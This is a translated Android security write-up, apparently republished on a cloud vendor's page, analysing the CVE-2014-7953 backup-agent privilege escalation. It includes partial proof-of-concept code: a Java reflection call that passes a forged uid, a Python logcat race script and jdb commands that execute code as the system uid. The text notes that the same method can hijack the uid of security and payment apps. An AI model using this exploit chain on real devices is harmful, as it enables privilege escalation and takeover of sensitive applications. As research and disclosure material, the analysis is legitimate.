ADB backupAgent Privilege Escalation Vulnerability Analysis (CVE-2014-7953)

Source: Internet
Author: User

ADB backupAgent Privilege Escalation Vulnerability Analysis (CVE-2014-7953)

0x00 Abstract

CVE-2014-7953 is an Elevation of Privilege Vulnerability in android backup agent. The bindBackupAgent method in ActivityManagerService fails to validate the passed uid parameter. Combined with another race condition exploitation technique, attackers can execute code as any uid (application), including system (uid 1000 ). This article analyzes the vulnerability in detail and provides the use of EXP. The attack requires android. permission. BACKUP and INSTALL_PACKAGES, while adb shell is an attack surface that meets the attack conditions.

0x01 background

BackupService is a backup function provided by Android. During the backup operation, the BackupManager of the system obtains the backup data specified by the other party from the target application, and then delivers the data to BackupTransport for data transmission. During the Backup recovery operation, BackupManager retrieves data from Transport and passes the data to the target application for restoration. A common scenario is to back up your application data to Google Cloud. When a user logs on to the Google account on a new machine, the data is automatically restored.

Of course, applications that want to use the backup function must implement the BackupAgent component, inherit the BackupAgent class or BackupAgentHelper class, declare themselves in AndroidManifest. xml, and register with a BackupService.

When BackupManager backs up or recovers, it starts the target application process with the target application BackupAgent and calls its onCreate function, to facilitate the backup and recovery operations related to the application logic.

0x02 vulnerability causes

After the above preparations, let's look at the causes of this vulnerability. As mentioned above, the BackupAgent will be called during restoration. Specifically, the bindBackupAgent function in ActivityManagerService:

// Cause the target app to be launched if necessary and its backup agent12819    // instantiated.  The backup agent will invoke backupAgentCreated() on the12820    // activity manager to announce its creation.12821    public boolean bindBackupAgent(ApplicationInfo app, int backupMode) {12822        if (DEBUG_BACKUP) Slog.v(TAG, "bindBackupAgent: app=" + app + " mode=" + backupMode);12823        enforceCallingPermission("android.permission.BACKUP", "bindBackupAgent");1282412825        synchronized(this) {/*...*/12833            // Backup agent is now in use, its package can't be stopped.12834            try {12835                AppGlobals.getPackageManager().setPackageStoppedState(12836                        app.packageName, false, UserHandle.getUserId(app.uid));12837            } catch (RemoteException e) {12838            } catch (IllegalArgumentException e) {12839                Slog.w(TAG, "Failed trying to unstop package "12840                        + app.packageName + ": " + e);12841            }1284212843            BackupRecord r = new BackupRecord(ss, app, backupMode);12844            ComponentName hostingName = (backupMode == IApplicationThread.BACKUP_MODE_INCREMENTAL)12845                    ? new ComponentName(app.packageName, app.backupAgentName)12846                    : new ComponentName("android", "FullBackupAgent");12847            // startProcessLocked() returns existing proc's record if it's already running12848            ProcessRecord proc = startProcessLocked(app.processName, app,12849                    false, 0, "backup", hostingName, false, false, false);12850            if (proc == null) {12851                Slog.e(TAG, "Unable to start backup agent process " + r);12852                return false;12853            }1285412855            r.app = proc;12856            mBackupTarget = r;12857            mBackupAppName = app.packageName;1285812859            // Try not to kill the process during backup12860            updateOomAdjLocked(proc);1286112862            // If the process is already attached, schedule the creation of the backup agent now.12863            // If it is not yet live, this will be done when it attaches to the framework.12864            if (proc.thread != null) {12865                if (DEBUG_BACKUP) Slog.v(TAG, "Agent proc already running: " + proc);12866                try {12867                    proc.thread.scheduleCreateBackupAgent(app,12868                            compatibilityInfoForPackageLocked(app), backupMode);12869                } catch (RemoteException e) {12870                    // Will time out on the backup manager side12871                }12872            } else {12873                if (DEBUG_BACKUP) Slog.v(TAG, "Agent proc not running, waiting for attach");12874            }12875            // Invariants: at this point, the target app process exists and the application12876            // is either already running or in the process of coming up.  mBackupTarget and12877            // mBackupAppName describe the app, so that when it binds back to the AM we12878            // know that it's scheduled for a backup-agent operation.12879        }1288012881        return true;12882    }
ActivityManagerService exposes this interface through the Binder. Of course, the caller must have the android. permission. BACKUP permission at the beginning, and shell must have this permission. BindBackupAgent will eventually pass the attacker's controllable ApplicationInfo to startProcessLocked, and finally call its onCreate function through scheduleCreateBackupAgent.

The uid in ApplicationInfo can be arbitrarily specified, which is the root cause of this vulnerability.

0x02 vulnerability Exploitation

However, if you want to exploit this vulnerability, you may encounter several key problems that need to be bypassed by other methods.

SetPackageStoppedState permission check

The Code shows that setPackageStoppedState is called before startProcessLocked to set the target package to Stopped. This requires that the initiator of the binder call has the CHANGE_COMPONENT_ENABLED_STATE permission. Otherwise, a SecurityException is thrown to terminate the function operation. Unfortunately, this is the permission held by a system user. The shell does not have the permission, and the following exception is thrown during forced calling:


However, it can be observed that startPackageStoppedState will be caught when an IllegalArgumentException is thrown, and a log is created and continues to be executed. In this case, race condition, or TOCTOU during PackageManager installation package, you can set a time difference.

The procedure is as follows:

Call the pm installation package and call bindBackupAgent at a certain time during the installation process.

When startPackageStoppedState is run, the package does not exist. The IllegalArgumentException is caught and continues execution.

When startProcessRecord is run, the package has been installed and started with the ApplicationInfo specified by the attacker.

Under normal circumstances, when a package exists, it will be in the following sequence:


If the package does not exist, it will be in the following sequence. At this time, the process can be created, but it will immediately die because the load Code cannot be found. In rare cases, it may stay in the FC dialog box and be usable.



The TOCTOU usage sequence diagram is as follows:


The key point here is the time difference. For example, you can expand the volume of classes. dex and increase the time of dexopt. The POC successfully tested on N7 monitors Copying native libraries to in logcat through scripts. At this moment, the bindBackupAgent call is triggered, and the call is successful almost every time.

HandleCreateBackupAgent check

Let's talk about the call chain:
        public final void scheduleCreateBackupAgent(ApplicationInfo app,658                CompatibilityInfo compatInfo, int backupMode) {659            CreateBackupAgentData d = new CreateBackupAgentData();660            d.appInfo = app;661            d.compatInfo = compatInfo;662            d.backupMode = backupMode;663664            sendMessage(H.CREATE_BACKUP_AGENT, d);665        } public void handleMessage(Message msg) {//omit                case CREATE_BACKUP_AGENT:1337                    Trace.traceBegin(Trace.TRACE_TAG_ACTIVITY_MANAGER, "backupCreateAgent");1338                    handleCreateBackupAgent((CreateBackupAgentData)msg.obj);1339                    Trace.traceEnd(Trace.TRACE_TAG_ACTIVITY_MANAGER);1340                    break;//omit} // Instantiate a BackupAgent and tell it that it's alive2428    private void handleCreateBackupAgent(CreateBackupAgentData data) {2429        if (DEBUG_BACKUP) Slog.v(TAG, "handleCreateBackupAgent: " + data);24302431        // Sanity check the requested target package's uid against ours2432        try {2433            PackageInfo requestedPackage = getPackageManager().getPackageInfo(2434                    data.appInfo.packageName, 0, UserHandle.myUserId());2435            if (requestedPackage.applicationInfo.uid != Process.myUid()) {2436                Slog.w(TAG, "Asked to instantiate non-matching package "2437                        + data.appInfo.packageName);2438                return;2439            }2440        } catch (RemoteException e) {2441            Slog.e(TAG, "Can't reach package manager", e);2442            return;2443        }//omit2448        // instantiate the BackupAgent class named in the manifest2449        LoadedApk packageInfo = getPackageInfoNoCheck(data.appInfo, data.compatInfo);2450        String packageName = packageInfo.mPackageName;//omit24612462        BackupAgent agent = null;2463        String classname = data.appInfo.backupAgentName;24642465        // full backup operation but no app-supplied agent?  use the default implementation2466        if (classname == null && (data.backupMode == IApplicationThread.BACKUP_MODE_FULL2467                || data.backupMode == IApplicationThread.BACKUP_MODE_RESTORE_FULL)) {2468            classname = "android.app.backup.FullBackupAgent";2469        }24702471        try {![Alt text](./Screenshot from 2015-04-20 15:50:21.png) 2472            IBinder binder = null;2473            try {2474                if (DEBUG_BACKUP) Slog.v(TAG, "Initializing agent class " + classname);24752476                java.lang.ClassLoader cl = packageInfo.getClassLoader();2477                agent = (BackupAgent) cl.loadClass(classname).newInstance();24782479                // set up the agent's context2480                ContextImpl context = ContextImpl.createAppContext(this, packageInfo);2481                context.setOuterContext(agent);2482                agent.attach(context);24832484                agent.onCreate();2485                binder = agent.onBind();2486                mBackupAgents.put(packageName, agent);2487            } catch (Exception e) {2488                //omit2496            }//omit2508    }2509

This function is used to search for the defined BackupAgent class in the Package. If it does not exist, it is replaced by android. app. backup. FullBackupAgent and runs its onCreate function.

If the uid of the process is controlled as system, put our code in the onCreate function. However, it is a pity that there is a check at the beginning, comparing the uid of the current Process (note that the ActivityThread code is executed in the Process space where the package is started, so Process. myUid is the uid of the target package. This removes the idea of using onCreate.

However, the process and VM are ready, and the debuggable flag of the installation package can be specified by the attacker. Then, when jdwp attach runs the code, the code will be blurred.

0x03 shell...

If successful, the system identity process has been started.



If we open the test application again, we will see that the same package process of two different UIDs coexist, for example:



There are two cases:

The process starts with the uid of the system. However, since onCreate is not instantiated or called, this process is an empty shell. This is the most common situation.

The process is started with the system uid. a fc dialog box appears when Application Crash is started. This dialog box is triggered when you directly access the backupAgent interface in rare cases.

In both cases, the breakpoint triggered after attach is different. For the first thread, the thread will block on nativePollOnce, as shown in:



One of the key factors to use this situation is to let the thread jump out of nativePollOnce. That is to say, it needs to receive a message before executing the code at the breakpoint, but the strange thing is that the process started at this time is an empty shell and there is no GUI interface. The conventional operation trigger and intent trigger have no effect. Isn't it difficult to be strong? Here, we need a non-GUI event, non-component event message that any ActivityThread will receive and trigger it to jump out of this loop. This can be achieved through some tricky method, and readers can think about what can achieve this purpose.

The second type will be disconnected from handleApplicationCrash due to exception capture. This is a good solution and you can directly break down the breakpoint.

In short, we can use intellij or jdb as the carrier and use jdwp to execute code with system permissions or other uid identities. Unfortunately, on 4.4.4, the system does not have the inet permission, so it cannot pop up the favorite bind/reverse shell. :(

Effect attached:
System:


Of course, we can also change to the uid of processes such as xx guardian, xx money shield, and xx Fu Bao to control these sensitive applications. Attached to xx guardian:



We can see that our application is already having the same uid as xx guardian, so we can see how to use it to our imagination.

0x04 part POC:
Myapp:
public class Test {     public static void main(String []args)    {        test(Integer.parseInt(args[0]));    }     public static void test(Integer uid)    {        try {            Class ActivityManagerNative = Class.forName("android.app.ActivityManagerNative");            Method bindBackupAgent = ActivityManagerNative.getDeclaredMethod("getDefault");             Object iActivityManager = bindBackupAgent.invoke(null);             Method bindBackupAgentMtd = iActivityManager.getClass().getDeclaredMethod("bindBackupAgent", ApplicationInfo.class, int.class);             ApplicationInfo applicationInfo = new ApplicationInfo();            applicationInfo.dataDir = "/data/data/com.example.myapp";            applicationInfo.nativeLibraryDir = "/data/app-lib/com.example.myapp-1";            applicationInfo.processName = "com.example.myapp";            applicationInfo.publicSourceDir = "/data/app/com.example.myapp-1.apk";            applicationInfo.sourceDir = "/data/app/com.example.myapp-1.apk";            applicationInfo.taskAffinity = "com.example.myapp";            applicationInfo.packageName = "com.example.myapp";            applicationInfo.flags = 8961606;            applicationInfo.uid = uid;            bindBackupAgentMtd.invoke(iActivityManager, applicationInfo, 0);        } catch (ClassNotFoundException e) {            e.printStackTrace();        } catch (NoSuchMethodException e) {            e.printStackTrace();        } catch (InvocationTargetException e) {            e.printStackTrace();        } catch (IllegalAccessException e) {            e.printStackTrace();        }    }}
Compile it as a jar and run it through app_process. Note that executing myapp without installation will cause subsequent INSTALL_FAILED_UID_CHANGED errors. For details, refer to my denial-of-app analysis.

Monitoring py script:
From subprocess import Popen, PIPEimport osKW = "Copying native libraries to" # KW = "dexopt" OS. system ("adb logcat-c") p = Popen (["adb", "logcat"], stdout = PIPE, bufsize = 1) with p. stdout: for line in iter (p. stdout. readline, B ''): if line. find (KW )! =-1: print line OS. system ("adb shell/data/local/tmp/test. sh 1000 ") p. wait () test. shexport ANDROID_DATA =/data/local/tmp/export CLASSPATH =/data/local/tmp/MyTest. jarapp_process/data/local/tmp/com. example. myTest $ @ jdb command: threadsthread 0 xxxxxxsuspendstop in android. OS. messageQueue nextrunprint new java.lang.Runtime.exe c ("id ")

0x05 repair:

Google easily fixes this vulnerability. It verifies the system-level permissions of FULL_BACKUP on the bindBackupAgent interface and removes the original entry.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.